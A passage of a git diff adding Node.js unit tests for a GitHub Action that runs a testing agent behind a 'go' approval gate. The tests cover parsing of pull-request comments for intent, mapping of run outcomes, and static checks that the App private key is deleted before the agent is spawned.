() => { + assert.equal(decideGate({ intent: go, approval: "review-before-run", proposal: stale }).action, GATE.EXPIRED) + }) + + test('"go" with nothing waiting says so rather than guessing', () => { + assert.equal(decideGate({ intent: go, approval: "review-before-run" }).action, GATE.NOTHING_TO_APPROVE) + }) + + // Nothing was ever held, so there is nothing to approve. Running on the + // strength of "go" alone would start a job nobody named. + test('"go" on a straight-through repository has nothing to approve either', () => { + assert.equal(decideGate({ intent: go, approval: "straight-through" }).action, GATE.NOTHING_TO_APPROVE) + }) + + /** + * Fails CLOSED. An approval value that never went through the CLI's + * validation — or a bindings read that failed — holds for review rather + * than running unreviewed, matching ResolvedApproval on the Go side. + */ + test("an unknown approval setting holds for review", () => { + assert.equal(decideGate({ intent: asking, approval: undefined }).action, GATE.PROPOSE) + assert.equal(decideGate({ intent: asking, approval: "nonsense" }).action, GATE.PROPOSE) + }) + + test("asking for a preview explicitly is not held for approval", () => { + // They already asked for the safe thing; holding it for review would be + // asking permission to write nothing. + const previewing = { kind: INTENT.WORKFLOW, workflow: "test", preview: true } + const d = decideGate({ intent: previewing, approval: "review-before-run" }) + assert.equal(d.action, GATE.RUN) + assert.equal(d.preview, true) + }) +}) + +describe("decideGate — who approved it", () => { + /** + * Both the asker and the approver need write access, so this is not a + * privilege boundary — it is a workflow-integrity signal. user story + * has an SDET approving a developer's request; the normative text only says + * "someone who can ask". So self-approval is allowed and REPORTED, rather + * than silently permitted or blocked outright (blocking would strand a solo + * maintainer, who could then never approve anything). + */ + test("approving your own proposal is flagged", () => { + const d = decideGate({ + intent: { kind: INTENT.GO }, + approval: "review-before-run", + proposal: { id: 7, expired: false, requester: "octocat" }, + actor: "octocat", + }) + assert.equal(d.action, GATE.RUN) + assert.equal(d.selfApproved, true) + }) + + test("a second pair of eyes is not flagged", () => { + const d = decideGate({ + intent: { kind: INTENT.GO }, + approval: "review-before-run", + proposal: { id: 7, expired: false, requester: "octocat" }, + actor: "an-sdet", + }) + assert.equal(d.selfApproved, false) + }) + + test("an older proposal with no recorded requester is not claimed to be self-approved", () => { + const d = decideGate({ + intent: { kind: INTENT.GO }, + approval: "review-before-run", + proposal: { id: 7, expired: false }, + actor: "octocat", + }) + assert.equal(d.selfApproved, false) + }) +}) + +describe("a very large change", () => { + // thresholds, marked ASSUMPTION in the PRD: more than 20 files or + // more than 1,000 changed lines. + test("an ordinary change is not large", () => { + assert.equal(describeChangeSize({ changed_files: 3, additions: 40, deletions: 10 }).large, false) + }) + + test("more than twenty files is large", () => { + assert.equal(describeChangeSize({ changed_files: 21, additions: 1, deletions: 0 }).large, true) + }) + + test("exactly twenty files is not", () => { + assert.equal(describeChangeSize({ changed_files: 20, additions: 1, deletions: 0 }).large, false) + }) + + test("more than a thousand changed lines is large, counting both directions", () => { + assert.equal(describeChangeSize({ changed_files: 2, additions: 600, deletions: 401 }).large, true) + assert.equal(describeChangeSize({ changed_files: 2, additions: 600, deletions: 400 }).large, false) + }) + + test("it reports the numbers, so the proposal can say why", () => { + const d = describeChangeSize({ changed_files: 30, additions: 900, deletions: 200 }) + assert.equal(d.files, 30) + assert.equal(d.lines, 1100) + }) + + // A pull request object we could not read must not be called large; the + // consequence would be telling every reviewer their change is too big. + test("an unreadable pull request is not assumed to be large", () => { + assert.equal(describeChangeSize(undefined).large, false) + assert.equal(describeChangeSize({}).large, false) + }) +}) + +/** + * Asking "why did this fail?" cost two comments and a round trip: the first + * run posted an empty proposal — empty because only `test-pr` has a plan to + * show — and the answer only came after someone replied "go". Seen on live + * runs 41048492170 and 41049253928. + * + * The gate exists to stop WRITES. `rca` and `verdict` produce an explanation + * and nothing else, which is the same reasoning already applied one line + * above for a preview that was asked for directly. + */ +describe("decideGate — a job that only answers does not ask permission first", () => { + const asked = { kind: INTENT.WORKFLOW } + + test("rca and verdict run straight away, even with approval required", () => { + for (const workflow of ["rca", "verdict"]) { + const got = decideGate({ intent: asked, approval: "review-before-run", workflow }) + assert.equal(got.action, GATE.RUN, `${workflow} writes nothing; holding it asks permission to write nothing`) + // Skipping the hold is only safe because the run cannot write, so + // the run is MADE unable to write rather than assumed to be. + assert.equal(got.preview, true, `an unapproved ${workflow} must not get write tools`) + } + }) + + test("everything that CAN write still waits", () => { + for (const workflow of ["generate", "fix", "test-pr", "automate", undefined]) { + const got = decideGate({ intent: asked, approval: "review-before-run", workflow }) + assert.equal(got.action, GATE.PROPOSE, `${workflow} can write, so it must still be reviewed`) + } + }) + + test("an explicit preview request is still honoured for them", () => { + const got = decideGate({ intent: { kind: INTENT.WORKFLOW, preview: true }, approval: "review-before-run", workflow: "rca" }) + assert.equal(got.action, GATE.RUN) + assert.equal(got.preview, true, "asking for a preview must not be overridden by this") + }) +}) diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs new file mode 100644 index 0000000..69f1588 --- /dev/null +++ b/test-companion/test/imports.test.mjs @@ -0,0 +1,178 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readFileSync, readdirSync } from "node:fs" +import { join } from "node:path" + +/** + * main.mjs is the one file here with no unit tests, by design: everything + * decidable lives in the pure modules beside it and this is the I/O shell. + * + * The cost of that showed up twice in live runs. `renderProposalBody` and + * `hasApproverEdits` were used in main.mjs and never imported, and nothing + * caught it — a ReferenceError inside a function body does not throw until + * that function runs, so neither `node --check` nor importing the module would + * have found it. The whole 278-test suite passed while the Action crashed on a + * runner. + * + * This closes that gap statically: every helper main.mjs CALLS must be in its + * import list, and everything it imports must actually be exported. + */ +const SRC = new URL("../src/", import.meta.url).pathname +const main = readFileSync(join(SRC, "main.mjs"), "utf8") + +/** `import { a, b } from "./x.mjs"` → { "./x.mjs": ["a","b"] } */ +function localImports(source) { + const out = {} + for (const m of source.matchAll(/import\s*\{([^}]+)\}\s*from\s*"(\.\/[^"]+)"/g)) { + out[m[2]] = m[1] + .split(",") + .map((s) => s.trim()) + .filter(Boolean) + } + return out +} + +/** The names a module exports. */ +function exportsOf(file) { + const text = readFileSync(join(SRC, file), "utf8") + return [...text.matchAll(/export\s+(?:async\s+)?function\s+(\w+)|export\s+const\s+(\w+)/g)].map((m) => m[1] ?? m[2]) +} + +const imports = localImports(main) +const withoutImportBlock = main.replace(/import\s*\{[^}]+\}\s*from\s*"[^"]+"/g, "") + +describe("main.mjs imports everything it uses", () => { + test("it imports from the local modules at all", () => { + assert.ok(Object.keys(imports).length > 5, "expected several local imports") + }) + + for (const [spec, named] of Object.entries(imports)) { + const file = spec.replace("./", "") + + test(`every name main.mjs imports from ${file} is exported`, () => { + const available = exportsOf(file) + for (const n of named) { + assert.ok(available.includes(n), `${file} does not export ${n}`) + } + }) + + test(`every ${file} helper main.mjs CALLS is imported`, () => { + for (const name of exportsOf(file)) { + // A call, not a mention: `foo(` or `foo (`. Constants are not + // called and are covered by the check above. + const called = new RegExp(`\\b${name}\\s*\\(`).test(withoutImportBlock) + if (called) { + assert.ok(named.includes(name), `main.mjs calls ${name}() but does not import it from ${file}`) + } + } + }) + } +}) + +describe("every src module is reachable", () => { + // A module nobody imports is either dead or a missing wire-up. Both are + // worth noticing; neither shows up in a passing test suite. + test("no source file is orphaned", () => { + const files = readdirSync(SRC).filter((f) => f.endsWith(".mjs") && f !== "main.mjs") + const allSource = files.map((f) => readFileSync(join(SRC, f), "utf8")).join("\n") + main + for (const f of files) { + assert.match(allSource, new RegExp(`"\\./${f.replace(".", "\\.")}"`), `${f} is imported by nothing`) + } + }) +}) + +/** + * Found by a live run. Asking "@browserstack explain why + * the contract check is failing" worked: the Action found the red build and + * passed it to the CLI. Replying "go" to the proposal it put up did NOT + * the CLI was spawned with no build at all and died with + * `rca requires --context build=`. + * + * The cause is pure ordering. `rca`, `fix` and `verdict` need to know which + * build failed, and the lookup is guarded by `NEEDS_A_BUILD.has(plan.workflow)`. + * On an approval, the workflow is not known from the comment — "go" names no + * job — it comes from the proposal we are approving, and that assignment sat + * BELOW the lookup. So the lookup ran against the wrong workflow, decided no + * build was needed, and the run broke at the last step of the feature. + * + * Ordering inside one long procedure is not something the pure modules can + * pin, so it is pinned here. + */ +describe("main.mjs — the failing build is resolved after the workflow is final", () => { + const at = (needle) => { + const i = main.indexOf(needle) + assert.notEqual(i, -1, `main.mjs no longer contains ${JSON.stringify(needle)}`) + return i + } + + test("the proposal pins the workflow BEFORE the build is looked up", () => { + assert.ok( + at("plan.workflow = waiting.workflow") < at("NEEDS_A_BUILD.has(plan.workflow)"), + "an approved rca/fix/verdict would be spawned with no build, and the CLI refuses it", + ) + }) + + test("there is exactly one build lookup, so the two paths cannot drift", () => { + const calls = main.split("NEEDS_A_BUILD.has(plan.workflow)").length - 1 + assert.equal(calls, 1, `found ${calls} build lookups; two copies will diverge`) + }) +}) + +/** + * The App's private key arrives in the environment and stays there. Anything + * spawned afterwards inherits it — and the agent runs with --yolo, so "what + * gets spawned afterwards" includes programs it chose. + * + * The git half of keeping credentials from the agent is closed in push-work.mjs (minimal env, hooks and + * fsmonitor off, config allow-listed, binary pinned). This is the other half: + * once the key has been used, it should not still be readable. + */ +describe("main.mjs — the App private key does not outlive its use", () => { + const at = (needle) => { + const i = main.indexOf(needle) + assert.notEqual(i, -1, `main.mjs no longer contains ${JSON.stringify(needle)}`) + return i + } + + test("it is deleted from the environment", () => { + assert.match(main, /delete env\.TC_ACTION_APP_PRIVATE_KEY/, "the key stays readable by every process this one starts") + }) + + test("deleted while minting the token, before anything else is spawned", () => { + // The agent is the process that matters: it runs with --yolo and picks + // its own commands. + // + // Anchored on the CALL. The spawn itself moved into answer.mjs when the + // Action started reading the agent's output, and anchoring on + // `spawn(` would now find that module's own line, which says nothing + // about the order things happen here. + assert.ok( + at("delete env.TC_ACTION_APP_PRIVATE_KEY") < at('await runCapturingAnswer("tc"'), + "the agent could still read it", + ) + }) +}) + +/** + * An approved `fix` that breaks in under a second does no work and writes + * nothing, so the result comment must not carry the marker saying the plan + * was spent — otherwise every later `go` on that commit is refused, a fresh + * proposal included, with no way out but a new commit. + * + * The decision lives in approvalWasSpent and is unit-tested there. What cannot + * be unit-tested is that main.mjs actually asks it, so it is pinned here. + */ +describe("main.mjs — a run that never ran does not spend the approval", () => { + test("the consumed marker is gated on the outcome", () => { + assert.match( + main, + /consumedMarker: approvalWasSpent\(outcome\) \? consumedMarker : ""/, + "an approval is spent whatever happened, so a broken run blocks the commit for good", + ) + }) + + test("it is never passed unconditionally", () => { + const bare = /\{\s*\.\.\.view,\s*approvalNote,\s*consumedMarker\s*\}/ + assert.ok(!bare.test(main), "the marker is attached without asking whether the run happened") + }) +}) diff --git a/test-companion/test/intent.test.mjs b/test-companion/test/intent.test.mjs new file mode 100644 index 0000000..855d4d8 --- /dev/null +++ b/test-companion/test/intent.test.mjs @@ -0,0 +1,350 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readIntent, INTENT } from "../src/intent.mjs" + +/** + * — what did the comment actually ask for? + * + * The mapping has to happen HERE, before anything runs, because says a + * request we cannot map gets a reply and "nothing SHALL run". Handing the free + * text to the agent and letting it decide would spend the customer's credits + * working out that "make coffee" was never a job. + */ +describe("readIntent — a comment naming a job", () => { + /** + * Caught by the FIRST LIVE RUN (rag_assignment ). This table was + * written before `test-pr` existed and still said "test", so the flagship + * phrase resolved to the job whose wrongness is the entire reason test-pr + * exists — and the reply read "`test` is not bound to pull request + * comments" on a repository whose pipeline bound test-pr. + */ + test('"test this PR" asks for test-pr, the job that reads the diff', () => { + assert.deepEqual(readIntent("test this PR against SHOP-221", { workflows: ["test-pr"] }), { + kind: INTENT.WORKFLOW, + workflow: "test-pr", + preview: false, + }) + }) + + // A repository still bound to the older `test` keeps working: the phrase + // prefers test-pr and falls back to whatever is actually bound. + test("falls back to `test` where that is what the repository bound", () => { + assert.equal(readIntent("test this PR", { workflows: ["test"] }).workflow, "test") + }) + + test("prefers test-pr when a repository binds both", () => { + assert.equal(readIntent("test this PR", { workflows: ["test", "test-pr"] }).workflow, "test-pr") + }) + + test("with no bindings known, it is test-pr", () => { + assert.equal(readIntent("test this PR").workflow, "test-pr") + }) + + test('"explain this failure" asks for rca, which is what explain is called here', () => { + assert.equal(readIntent("explain this failure").workflow, "rca") + }) + + test('"fix the failing tests" asks for fix', () => { + assert.equal(readIntent("fix the failing tests").workflow, "fix") + }) + + test('"find the bad PR" asks for verdict, which is what that job is called', () => { + assert.equal(readIntent("find the bad PR").workflow, "verdict") + }) +}) + +describe("readIntent — a request that is not a job", () => { + // "A request it cannot map SHALL get a reply listing what it can do, + // and nothing SHALL run." Unknown is a real answer, not a failure. + test("a request it cannot place is unknown, not a guess", () => { + assert.equal(readIntent("make coffee").kind, INTENT.UNKNOWN) + }) + + test("an empty comment asks for nothing", () => { + assert.equal(readIntent("").kind, INTENT.UNKNOWN) + }) +}) + +describe("readIntent — asking for something other than a job", () => { + test('"stop" is a control word, not a job', () => { + assert.equal(readIntent("stop").kind, INTENT.STOP) + }) + + // gives stop its own 30-second deadline, so it must not lose to a job + // word that happens to share the sentence. + test("stop wins over a job named in the same breath", () => { + assert.equal(readIntent("stop, don't fix anything").kind, INTENT.STOP) + }) + + test('"set up this repo" opens the starter pull request', () => { + assert.equal(readIntent("set up this repo").kind, INTENT.SETUP) + assert.equal(readIntent("setup this repo").kind, INTENT.SETUP) + }) +}) + +describe("readIntent — preview is a modifier, not a job", () => { + test("preview rides along with a named job", () => { + assert.deepEqual(readIntent("test this PR, preview only"), { + kind: INTENT.WORKFLOW, + workflow: "test-pr", + preview: true, + }) + }) + + // "Any comment MAY ask for a single preview run." With no job named, + // the pipeline file still decides WHICH job — exactly as an event-driven run + // does — so the workflow is left null and only the preview flag is set. + test("preview on its own previews whatever the pipeline binds", () => { + assert.deepEqual(readIntent("preview"), { + kind: INTENT.WORKFLOW, + workflow: null, + preview: true, + }) + }) + + test('"re-check" runs the bound jobs again, for real', () => { + assert.deepEqual(readIntent("re-check"), { + kind: INTENT.WORKFLOW, + workflow: null, + preview: false, + }) + }) +}) + +describe("readIntent — quoted text is not a request", () => { + /** + * GitHub's "Quote reply" button copies the whole earlier comment in as `>` + * lines. Without this, replying to Test Companion's own "say stop to cancel" + * message would cancel the run — the quote matches before the person's + * actual words do. + */ + test("a quoted line cannot start or stop anything", () => { + assert.equal(readIntent("> stop\n\nthanks, carry on").kind, INTENT.UNKNOWN) + }) + + test("the person's own words still count under a quote", () => { + assert.equal(readIntent("> explain this failure\n\nfix the failing tests").workflow, "fix") + }) +}) + +describe("readIntent — approving a proposal", () => { + // "a reply of 'go', with or without edits to the case list, SHALL + // start a new run on exactly the approved list." + test('a bare "go" approves', () => { + assert.equal(readIntent("go").kind, INTENT.GO) + }) + + test('"approved" approves too', () => { + assert.equal(readIntent("approved").kind, INTENT.GO) + }) + + test("go with edits to the list still approves", () => { + assert.equal(readIntent("go, but drop the third case").kind, INTENT.GO) + }) + + /** + * Checked AFTER the job words on purpose. "go" is two letters and turns up + * inside ordinary instructions, so a sentence that names a job is read as + * asking for that job, and only a reply that names none is an approval. + */ + test("naming a job still asks for the job", () => { + assert.equal(readIntent("go on then, fix the failing tests").workflow, "fix") + }) + + test('"going to look at this" is not an approval', () => { + assert.equal(readIntent("going to look at this later").kind, INTENT.UNKNOWN) + }) +}) + +describe("readIntent — any BOUND workflow, not just the pretty phrases", () => { + // says "any bound workflow in plain words". Four hand-written phrases + // covered four of the CLI's fourteen jobs; asking for the rest by name got + // the can't-place reply. Naming a job IS plain words, so the job names the + // repository has bound are accepted literally. + const bound = ["generate", "test", "rca", "fix", "validate", "results", "verdict", "automate", "mobile run"] + + test("a job asked for by name is found", () => { + assert.equal(readIntent("generate", { workflows: bound }).workflow, "generate") + assert.equal(readIntent("please run validate on this", { workflows: bound }).workflow, "validate") + }) + + test("a two-word job name works too", () => { + assert.equal(readIntent("mobile run", { workflows: bound }).workflow, "mobile run") + }) + + test('the longer name wins, so "mobile run" is not read as "run"', () => { + const d = readIntent("do a mobile run", { workflows: ["run", "mobile run"] }) + assert.equal(d.workflow, "mobile run") + }) + + // The written-out phrases still win, so "explain this failure" stays rca + // rather than matching some job literally called "explain". + test("the plain phrases still take precedence", () => { + assert.equal(readIntent("explain this failure", { workflows: bound }).workflow, "rca") + }) + + test("a job the repository has NOT bound is still unplaceable", () => { + assert.equal(readIntent("automate", { workflows: ["test"] }).kind, INTENT.UNKNOWN) + }) + + test("a name buried inside another word does not count", () => { + assert.equal(readIntent("regenerated the lockfile", { workflows: ["generate"] }).kind, INTENT.UNKNOWN) + }) + + test("with no list passed, behaviour is unchanged", () => { + assert.equal(readIntent("generate").kind, INTENT.UNKNOWN) + }) + + test("preview still rides along with a job named by name", () => { + const d = readIntent("run automate, preview only", { workflows: bound }) + assert.equal(d.workflow, "automate") + assert.equal(d.preview, true) + }) +}) + +describe("stop and set up are what the comment ASKS FOR, not words it contains", () => { + /** + * STOP and SETUP are tested before the job phrases — deliberately, so + * "stop, don't fix anything" cannot start a fix run. Matching the word + * ANYWHERE was the bug: + * + * "don't stop until the tests pass" cancelled the run + * "the test setup is broken, fix it" opened a settings pull request + * + * Anchoring to the start keeps the case the ordering exists for and drops + * the ones where the word is incidental. A leading politeness is allowed, + * because "please stop" is plainly a stop. + */ + const jobs = { workflows: ["test-pr", "fix", "rca"] } + + test('"stop" still stops, with or without politeness', () => { + for (const body of ["stop", "please stop", "can you stop", "stop, don't fix anything"]) { + assert.equal(readIntent(body, jobs).kind, INTENT.STOP, body) + } + }) + + test('"don\'t stop until the tests pass" is not a stop', () => { + assert.notEqual(readIntent("don't stop until the tests pass", jobs).kind, INTENT.STOP) + }) + + test('"set up this repo" still opens the setup', () => { + for (const body of ["set up this repo", "please set up test companion", "setup this repository"]) { + assert.equal(readIntent(body, jobs).kind, INTENT.SETUP, body) + } + }) + + test('"the test setup is broken, fix it" runs fix, not setup', () => { + const out = readIntent("the test setup is broken, fix it", jobs) + assert.notEqual(out.kind, INTENT.SETUP) + assert.equal(out.workflow, "fix") + }) +}) + +/** + * These pin the behaviour that matters, so the matcher can be rewritten + * without building a pattern out of input. + */ +describe("naming a bound job — matched on whole words, never as a substring", () => { + const bound = { workflows: ["generate", "test-pr", "mobile run", "rca"] } + + test("a name is found when it is said", () => { + assert.equal(readIntent("please run generate", bound).workflow, "generate") + assert.equal(readIntent("do a test-pr on this", bound).workflow, "test-pr") + }) + + test("a name inside a longer word is NOT a request for it", () => { + assert.notEqual(readIntent("I regenerated the lockfile", bound).workflow, "generate") + }) + + test("longest wins, so 'mobile run' is never read as a shorter name", () => { + assert.equal(readIntent("kick off mobile run", bound).workflow, "mobile run") + }) + + test("a name with regex metacharacters cannot blow up or match wildly", () => { + const odd = { workflows: ["c++ build", "a.c"] } + assert.equal(readIntent("start the c++ build", odd).workflow, "c++ build") + // `a.c` unescaped would match "abc"; it must not. + assert.notEqual(readIntent("abc", odd).workflow, "a.c") + }) +}) + +/** + * Job words are matched anywhere in the comment and were tested BEFORE the + * approval word. So a reply that approves a waiting plan and adds an edit + * exactly what invites, "you can edit the list first" — was read as a + * fresh request for a different job: + * + * "go, and fix case 3's title" -> proposes `fix`, instead of approving + * + * When a plan is waiting, the approval reading comes first. + */ +describe("a reply to a waiting proposal is read as an approval first", () => { + const bound = { workflows: ["generate", "fix", "rca"], proposalWaiting: true } + + test("an approval carrying an edit still approves", () => { + assert.equal(readIntent("go, and fix case 3's title", bound).kind, INTENT.GO) + assert.equal(readIntent("approved, but rename the login case", bound).kind, INTENT.GO) + }) + + test("with no plan waiting, the same words ask for the job", () => { + const idle = { workflows: ["generate", "fix", "rca"], proposalWaiting: false } + assert.equal(readIntent("fix case 3's title", idle).kind, INTENT.WORKFLOW) + assert.equal(readIntent("fix case 3's title", idle).workflow, "fix") + }) + + test("stop still wins over an approval, even with one waiting", () => { + // gives stop its own deadline; approving and cancelling in one + // breath must cancel. + assert.equal(readIntent("stop", bound).kind, INTENT.STOP) + }) + + test("a comment that names no job and no approval is still unknown", () => { + assert.equal(readIntent("looks good to me", bound).kind, INTENT.UNKNOWN) + }) +}) + +/** + * The approval word counts only when the comment OPENS with it, like stop and + * set up. Matched anywhere, a comment that merely mentions it approved a + * waiting plan, and that starts a LIVE run that writes to the branch: + * + * "don't go ahead yet, explain this failure" -> approved + * "no, do not approve that, test this PR instead" -> approved + * + * and with nothing waiting, "let's go over the login flow" was told there was + * no plan to approve instead of being offered what it can ask for. + */ +describe("go approves only when the comment opens with it", () => { + const waiting = { workflows: ["test-pr", "fix", "rca"], proposalWaiting: true } + const idle = { workflows: ["test-pr", "fix", "rca"], proposalWaiting: false } + + test("a comment that only mentions the word does not approve a waiting plan", () => { + for (const body of [ + "don't go ahead yet, explain this failure", + "no, do not approve that, test this PR instead", + "wait before you go", + ]) { + assert.notEqual(readIntent(body, waiting).kind, INTENT.GO, body) + } + }) + + test("with nothing waiting, a passing mention is not read as an approval either", () => { + assert.notEqual(readIntent("let's go over the login flow", idle).kind, INTENT.GO) + }) + + test("a comment that opens with the word still approves, edits and all", () => { + for (const body of [ + "go", + "Go!", + "please go", + "approved", + "approve", + "go, and fix case 3's title", + "approved, but rename the login case", + "go #1234567", + "go — and pull the steps from https://github.com/o/r/pull/9#issuecomment-2345678901", + ]) { + assert.equal(readIntent(body, waiting).kind, INTENT.GO, body) + } + }) +}) diff --git a/test-companion/test/outcome-emoji.test.mjs b/test-companion/test/outcome-emoji.test.mjs new file mode 100644 index 0000000..c9ba40e --- /dev/null +++ b/test-companion/test/outcome-emoji.test.mjs @@ -0,0 +1,48 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { OUTCOMES, emojiFor } from "../src/outcome.mjs" +import { renderJobSummary } from "../src/report.mjs" + +/** + * The outcome should be readable at a glance. + * + * "## Test Companion — Run broke" and "## Test Companion — Succeeded" look the + * same in a crowded pull request thread, and the one that needs attention is + * the one that blends in. + */ + +describe("every outcome has a mark of its own", () => { + test("no two outcomes share one", () => { + const marks = Object.values(OUTCOMES).map(emojiFor) + assert.equal(new Set(marks).size, marks.length, `marks collide: ${marks.join(" ")}`) + }) + + test("every outcome has one", () => { + for (const o of Object.values(OUTCOMES)) { + assert.ok(emojiFor(o), `${o} has no mark`) + } + }) + + test("an outcome we do not know does not break the heading", () => { + // A newer CLI could report something this Action has never heard of. + // A missing mark is a cosmetic loss; a crash is a lost report. + assert.equal(emojiFor("Something new"), "") + assert.equal(emojiFor(undefined), "") + }) + + test("the heading carries it", () => { + const body = renderJobSummary({ workflow: "fix", outcome: OUTCOMES.RUN_BROKE, summary: {}, runUrl: "https://run" }) + assert.match(body.split("\n")[0], /^## Test Companion — .+ Run broke$/u) + assert.ok(body.split("\n")[0].includes(emojiFor(OUTCOMES.RUN_BROKE))) + }) + + test("and so does the row, so the table reads on its own", () => { + const body = renderJobSummary({ workflow: "fix", outcome: OUTCOMES.TESTS_FAILED, summary: {}, runUrl: "https://run" }) + assert.match(body, new RegExp(`\\| Outcome \\| ${emojiFor(OUTCOMES.TESTS_FAILED)} Tests failed \\|`, "u")) + }) + + test("a success still reads as a success", () => { + const body = renderJobSummary({ workflow: "generate", outcome: OUTCOMES.SUCCEEDED, summary: {}, runUrl: "https://run" }) + assert.match(body.split("\n")[0], /Succeeded$/) + }) +}) diff --git a/test-companion/test/outcome.test.mjs b/test-companion/test/outcome.test.mjs new file mode 100644 index 0000000..cd45cbe --- /dev/null +++ b/test-companion/test/outcome.test.mjs @@ -0,0 +1,210 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail, approvalWasSpent } from "../src/outcome.mjs" + +describe("parseSummary", () => { + test("reads the CLI's key: value report", () => { + const s = parseSummary(["workflow: generate", "event: pr_merged", "preview: true", "outcome: succeeded"].join("\n")) + assert.equal(s.workflow, "generate") + assert.equal(s.preview, "true") + assert.equal(s.outcome, "succeeded") + }) + + // Several keys are conditional, so the Action must not assume any are there. + test("tolerates a report with keys missing", () => { + const s = parseSummary("workflow: fix\noutcome: broke\n") + assert.equal(s.event, undefined) + assert.equal(s.outcome, "broke") + }) + + // A value can contain a colon (a build URL always does). + test("keeps a value that contains a colon", () => { + const s = parseSummary("context: build=https://ci.example.com/42") + assert.equal(s.context, "build=https://ci.example.com/42") + }) + + test("an absent report is not a crash", () => { + assert.deepEqual(parseSummary(undefined), {}) + assert.deepEqual(parseSummary(""), {}) + }) +}) + +describe("resolveOutcome", () => { + test("success", () => { + assert.equal(resolveOutcome(0, {}), OUTCOMES.SUCCEEDED) + }) + + test("the work ran but the tests do not pass", () => { + assert.equal(resolveOutcome(5, {}), OUTCOMES.TESTS_FAILED) + }) + + // Exit 4 covers three different causes. Only the report distinguishes a + // ceiling from a crash, which is why the Action reads both. + test("a ceiling is told apart from a crash, using the report", () => { + assert.equal(resolveOutcome(4, { error_type: "ceiling_exceeded" }), OUTCOMES.STOPPED_AT_LIMIT) + assert.equal(resolveOutcome(4, {}), OUTCOMES.RUN_BROKE) + }) + + test("not signed in is not a broken run", () => { + assert.equal(resolveOutcome(3, {}), OUTCOMES.COULD_NOT_RUN) + }) + + test("a bad pipeline file means nothing ran", () => { + assert.equal(resolveOutcome(2, {}), OUTCOMES.COULD_NOT_RUN) + }) + + test("blocked by plan or entitlement", () => { + assert.equal(resolveOutcome(7, {}), OUTCOMES.COULD_NOT_RUN) + }) + + // The observed false green: an expired session ended with status completed + // and exit 0 having done nothing. If the CLI said it could not run, believe + // the report over the exit code. + test("believes the report when it contradicts a success exit code", () => { + assert.equal(resolveOutcome(0, { outcome: "broke" }), OUTCOMES.RUN_BROKE) + }) + + test("an unknown exit code is a broken run, never a success", () => { + assert.equal(resolveOutcome(99, {}), OUTCOMES.RUN_BROKE) + }) +}) + +describe("checkConclusion", () => { + // Branch protection counts a neutral check as a pass, so there must never be one. + test("is never neutral, whatever happened", () => { + for (const o of Object.values(OUTCOMES)) { + const c = checkConclusion(o) + assert.notEqual(c, "neutral", `${o} produced a neutral check`) + assert.ok(["success", "failure", "action_required"].includes(c), `${o} → ${c}`) + } + }) + + test("passes only when the work actually succeeded", () => { + assert.equal(checkConclusion(OUTCOMES.SUCCEEDED), "success") + }) + + test("fails when the tests did not pass", () => { + assert.equal(checkConclusion(OUTCOMES.TESTS_FAILED), "failure") + }) + + // A run that could not finish must not be able to satisfy a required check, + // but it is not the same as a test failure — someone has to do something. + test("asks for a person when the run could not finish", () => { + assert.equal(checkConclusion(OUTCOMES.STOPPED_AT_LIMIT), "action_required") + assert.equal(checkConclusion(OUTCOMES.COULD_NOT_RUN), "action_required") + }) +}) + +describe("stepShouldFail — build effect", () => { + test("report leaves the step green whatever happened", () => { + for (const o of Object.values(OUTCOMES)) { + assert.equal(stepShouldFail("report", o), false, `${o} reddened the step under report`) + } + }) + + test("off leaves the step green too", () => { + assert.equal(stepShouldFail("off", OUTCOMES.TESTS_FAILED), false) + }) + + test("fail reddens the step on a bad outcome", () => { + assert.equal(stepShouldFail("fail", OUTCOMES.TESTS_FAILED), true) + assert.equal(stepShouldFail("fail", OUTCOMES.RUN_BROKE), true) + assert.equal(stepShouldFail("fail", OUTCOMES.STOPPED_AT_LIMIT), true) + assert.equal(stepShouldFail("fail", OUTCOMES.COULD_NOT_RUN), true) + }) + + test("fail still passes a successful run", () => { + assert.equal(stepShouldFail("fail", OUTCOMES.SUCCEEDED), false) + }) + + // REVERSED by. While `report` was the + // default, "a misconfiguration must never redden a build" was the safe + // direction. The default is now fail-on-break, so a typo landing you on a + // quieter setting than a fresh install is exactly the silent pass to avoid. + // The whole rule lives in build-effect.test.mjs now; this is the hinge. + test("anything unrecognised behaves as the default", () => { + assert.equal(stepShouldFail(undefined, OUTCOMES.RUN_BROKE), true) + assert.equal(stepShouldFail("FAIL_HARD", OUTCOMES.RUN_BROKE), true) + }) +}) + +// P0 from review: an event nothing is bound to must not look like a failure. +// +// The CLI now exits 0 and writes `outcome: skipped` for an unbound event. The +// old code took exit 0 with any non-"succeeded" outcome as RUN_BROKE, so this +// would have gone from one wrong answer to another. +describe("resolveOutcome — an unbound event is skipped, not broken", () => { + test("exit 0 with outcome skipped is SKIPPED", () => { + assert.equal(resolveOutcome(0, { outcome: "skipped" }), OUTCOMES.SKIPPED) + }) + + test("a plain exit 0 is still Succeeded", () => { + assert.equal(resolveOutcome(0, { outcome: "succeeded" }), OUTCOMES.SUCCEEDED) + assert.equal(resolveOutcome(0, {}), OUTCOMES.SUCCEEDED) + }) + + test("a real breakage at exit 0 is still Run broke", () => { + assert.equal(resolveOutcome(0, { outcome: "broke" }), OUTCOMES.RUN_BROKE) + }) + + test("tests failing at exit 0 is still Tests failed", () => { + assert.equal(resolveOutcome(0, { outcome: "failed" }), OUTCOMES.TESTS_FAILED) + }) + + test("a skipped outcome never reddens the step or the check", () => { + // The arguments were the wrong way round here, which made this pass + // without ever asking the question. stepShouldFail(buildEffect, outcome). + assert.equal(stepShouldFail("fail", OUTCOMES.SKIPPED), false) + assert.notEqual(checkConclusion(OUTCOMES.SKIPPED), "failure") + }) +}) + +/** + * Approving a plan is spent by the run that carries it out — but only if a run + * actually happened. + * + * Found live: an approved `fix` died in under a second before doing any work + * (the dedupe claim had no credential), and the result comment + * still carried the consumed marker. Every later `go` on that commit was then + * refused — "already been approved and run on this commit" — including after a + * fresh proposal was put up. The only way out was a new commit. + * + * The dedupe claim already has this property: it releases itself on a + * non-success outcome. An approval should behave the same way. + */ +describe("approvalWasSpent", () => { + test("a run that succeeded spends it", () => { + assert.equal(approvalWasSpent(OUTCOMES.SUCCEEDED), true) + }) + + // The run did the work it was approved for. Red tests are a result, not a + // failure to run — re-running would redo the work and charge for it again. + test("failing tests still spend it", () => { + 